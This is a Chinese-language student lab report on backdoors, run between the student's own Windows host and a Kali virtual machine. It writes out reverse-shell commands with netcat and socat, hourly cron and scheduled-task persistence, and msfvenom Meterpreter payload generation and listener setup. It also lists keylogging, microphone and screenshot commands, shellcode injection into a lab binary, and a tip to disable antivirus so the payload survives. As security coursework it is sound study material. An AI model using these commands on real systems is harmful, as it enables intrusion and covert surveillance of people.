文章目录
1.基础问题问答
- 例举你能想到的一个后门进入到你系统中的可能方式?
非官方渠道下载软件。很多非官方提供的软件版本可能就存在后门或其他安全隐患,这样分享者可能有利可图。 - 例举你知道的后门如何启动起来(win及linux)的方式?
- win:在“任务计划程序”中创建任务,在“注册表”中设置开机自启动等,将恶意程序更名诱导用户点击从而执行
- linux:通过crontab功能设置任务定时启动,对正常程序注入shellcode使其连带启动
- Meterpreter有哪些给你映像深刻的功能?
Meterpreter就像后门程序的一条龙服务。既能生成后门程序,又能进行本地监听。给我留下最深刻印象的还是截屏、录音、摄像与记录击键记录,通过这些功能可以轻而易举的监控一个人在他的计算机上进行的操作。能够获取计算机使用者各种网络账户的密码,使其隐私暴露无遗。 - 如何发现自己有系统有没有被安装后门?
- 检测网络连接与开放端口,查看是否有IP与本机建立连接
- 安装杀毒软件进行实时防护,定期全面扫描检测电脑安全情况
- 查看“任务计划程序”和“注册表”中是否有可疑任务
- 摄像头、麦克风非使用情况下保持关闭状态
2. 实验总结与体会
通过本次实验,我熟悉了netcat、socat和MSF等工具和平台的使用,对linux命令的掌握也更上一层楼。
同时我深入了解了后门原理,并通过自己生成后门程序、反弹式连接等操作获得了其他主机的访问权与控制权。
后门是一扇隐蔽的门,能够方便入侵者再次进入原先入侵过的系统。不正当的后门存在严重威胁着网络安全,应该通过技术手段加强防护。
3. 实践过程记录
3.0 环境准备
因为本次实验需要演示两主机间互相连接、反弹连接、注入后门等操作,因此需要先查询主机ip地址
Windows:打开cmd窗口,输入ipconfig
查询到本机ip地址为192.168.125.157(后续由于更换网络IP有变)
Linux:打开命令行窗口,输入ifconfig
查询到虚拟机IP地址为192.168.244.128
- netcat:又名nc,ncat。是一个底层工具,进行基本的TCP/UDP数据收发。常被与其他工具结合使用,起到后门的作用。
参数说明:
-l, --listen 绑定和监听接入连接(server端使用)
-p, --source-port port 指定连接使用的源端口号(client端使用)
-s, --source addr 客户端指定连接服务器使用的ip(client端使用)
-e, --exec <command> 接收到的命令通过command(例如/bin/bash)执行
- socat:linux下的一个工具,功能与netcat类似可看做netcat的加强版。有一些netcat所不具备却又很有需求的功能,例如ssl连接。
- crontab:用来定期执行程序的命令。当安装完成操作系统之后,默认便会启动此任务调度命令。crond 命令每分钟会定期检查是否有要执行的工作,如果有要执行的工作便会自动执行该工作。注意:新创建的 cron 任务,不会马上执行,至少要过 2 分钟后才可以,当然你可以重启 cron 来马上执行。
参数说明:
-e : 执行文字编辑器来设定时程表
-r : 删除目前的时程表
-l : 列出目前的时程表
- msfvenom:免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击,是msfpayload、msfencode的结合体,本身附带数百个已知软件漏洞的专业级漏洞攻击工具。利用msfvenom生成木马程序,并在目标机上执行、在本地监听。
参数说明:
-p, --payload <payload> 指定需要使用的payload(攻击荷载)
-l, --list [module_type] 列出指定模块的所有可用资源
-n, --nopsled <length> 为payload预先指定一个NOP滑动长度
-f, --format <format> 指定输出格式
-e, --encoder [encoder] 指定需要使用的encoder(编码器)
-a, --arch <architecture> 指定payload的目标架构
--platform <platform> 指定payload的目标平台
-s, --space <length> 设定有效攻击荷载的最大长度
-b, --bad-chars <list> 设定规避字符集,比如: '\x00\xff'
-i, --iterations <count> 指定payload的编码次数
-c, --add-code <path> 指定一个附加的win32 shellcode文件
-x, --template <path> 指定一个自定义的可执行文件作为模板
-k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行
--payload-options 列举payload的标准选项
-o, --out <path> 保存payload
-v, --var-name <name> 指定一个自定义的变量,以确定输出格式
--shellest 最小化生成payload
3.1 使用netcat获取主机操作Shell,cron启动
3.1.1 Windows获取Linux Shell
首先在Windows端启动ncat监听2127(我的学号)端口
ncat.exe -l -p 2127
再在Linux虚拟机连接Windows,HOST:192.168.125.157 端口PORT:2127
ncat 192.168.125.157 2127 -e /bin/sh
-e 选项执行shell程序
win端成功进入Linux Shell运行ls指令
3.1.2 Linux获取Windows Shell
首先在Linux端启动ncat监听2127(我的学号)端口
nc -l -p 2127
再在Windows连接Linux,HOST:192.168.244.128 端口PORT:2127
ncat.exe -e cmd.exe 192.168.244.128 2127
Linux成功获得Windows cmd,运行dir
3.2 使用socat获取主机操作Shell, 任务计划启动
3.2.1 Windows获取Linux Shell
先在Linux上编写一条定时任务,让反弹连接定时启动
crontab -e
-Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。
-crontab指令增加一条定时任务
-e表示编辑
-输入2表示选择vim编辑器
crontab命令选项:
-u指定一个用户
-l列出某个用户的任务计划
-r删除某个用户的任务(不添加用户即删除所有的任务)
-e编辑某个用户的任务
cron文件语法:
分 小时 日 月 星期 命令
0-59 0-23 1-31 1-12 0-6 command (取值范围,0表示周日一般一行对应一个任务)
Minute Hour Day Month Dayofweek command
分钟 小时 天 月 天每星期 命令
将22 * * * * /bin/netcat 192.168.125.157 2127 -e /bin/sh
写入
在cmd中监听2127端口,等待kali机中定时反向连接的启动
ncat.exe -l -p 2127
等待任务启动后,cmd成功获得Linux shell,运行ls
3.2.2 Linux获取Windows Shell
man socat
查看socat使用说明
打开‘计算机管理’
创建任务计划程序
新建任务的操作,启动socat.exe
新建触发器,按预定时间启动任务
在kali中监听
socat - tcp:192.168.125.157:2127
等待预定时间,Windows启动任务,socat.exe运行
Linux获得Windows Shell
3.3 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
在Kali上用MSF meterpreter生成后门可执行程序20202127_backdoor.exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.244.128 LPORT=2127 -f exe > 20202127_backdoor.exe
-LHOST为反弹回连的IP,在这里是要Windows主动连接kali,即反弹给Kali,也就是Kali的IP:192.168.244.128
-LPORT是回连端口
-p 使用payload。
-payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode。
-f 生成文件的类型
-> 输出文件名
在Windows上监听2127端口等待接收可执行文件20202127_backdoor.exe
ncat.exe -lv 2127 >20202127_backdoor.exe
在Kali上用
msfconsole进入msf控制台
配置监听模块
use exploit/multi/handler #使用监听模块,设置payload
set payload windows/meterpreter/reverse_tcp #使用和生成后门程序时相同的payload
set LHOST 192.168.244.128 #KaliIP,和生成后门程序时指定的IP相同
set LPORT 2127
exploit
kali开始监听,在Windows启动20202127_backdoor.exe后门程序
kali成功获取到Windows Shell
3.4 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
本题前面操作与3.3类似,即通过Windows运行后门程序,kali在msf控制台监听来获得Windows Shell
获得Windows Shell后
获取麦克风音频
record_mic
获取摄像头图片(我的电脑没有摄像头……就没有做这个)
webcam_snap
获取击键记录
开始获取:keyscan_start
结束获取:keyscan_dump
获取主机屏幕图像
screenshot
3.5 加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
使用msf生成指定需要的shellcode
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.244.128 LPORT=2127 -f c
-p linux/x86/shell_reverse_tcp表示使用的payload为linux/x86/shell_reverse_tcp
-LHOST=192.168.244.128
-LPORT=2127
-f c 采取c编码格式
(可以使用msfvenom --list payload查看各个主机版本适用的payload,选择linux/x86/shell_reverse_tcp后
再使用msfvenom -f --list linux/x86/shell/reverse_tcp 查询payload的输出格式
再使用msfvenom -p linux/x86/shell_reverse_tcp --list-options确定需要的参数)
按照实验一的方法,找到返回地址在内存中的位置(设置堆栈可执行,关闭地址随机化),将上述生成的shellcode注入到返回地址之后的位置(即0xffffd040之后,让程序直接滑入msf生成的shellcode)
在kali打开msf控制台(配置与上述相同),打开监听
再打开另一个新的终端运行pwn1并注入构造好的input_shellcode
发现控制台监听成功,获得另一个终端的Shell控制台,输入ls检验成功
4. 遇到的问题及解决
- 问题1:MSF生成的后门程序传输给win10后先出现后消失
- 问题1解决方案:先关闭win中的杀毒软件再传输后门程序,否则将直接隔离或删除后门程序。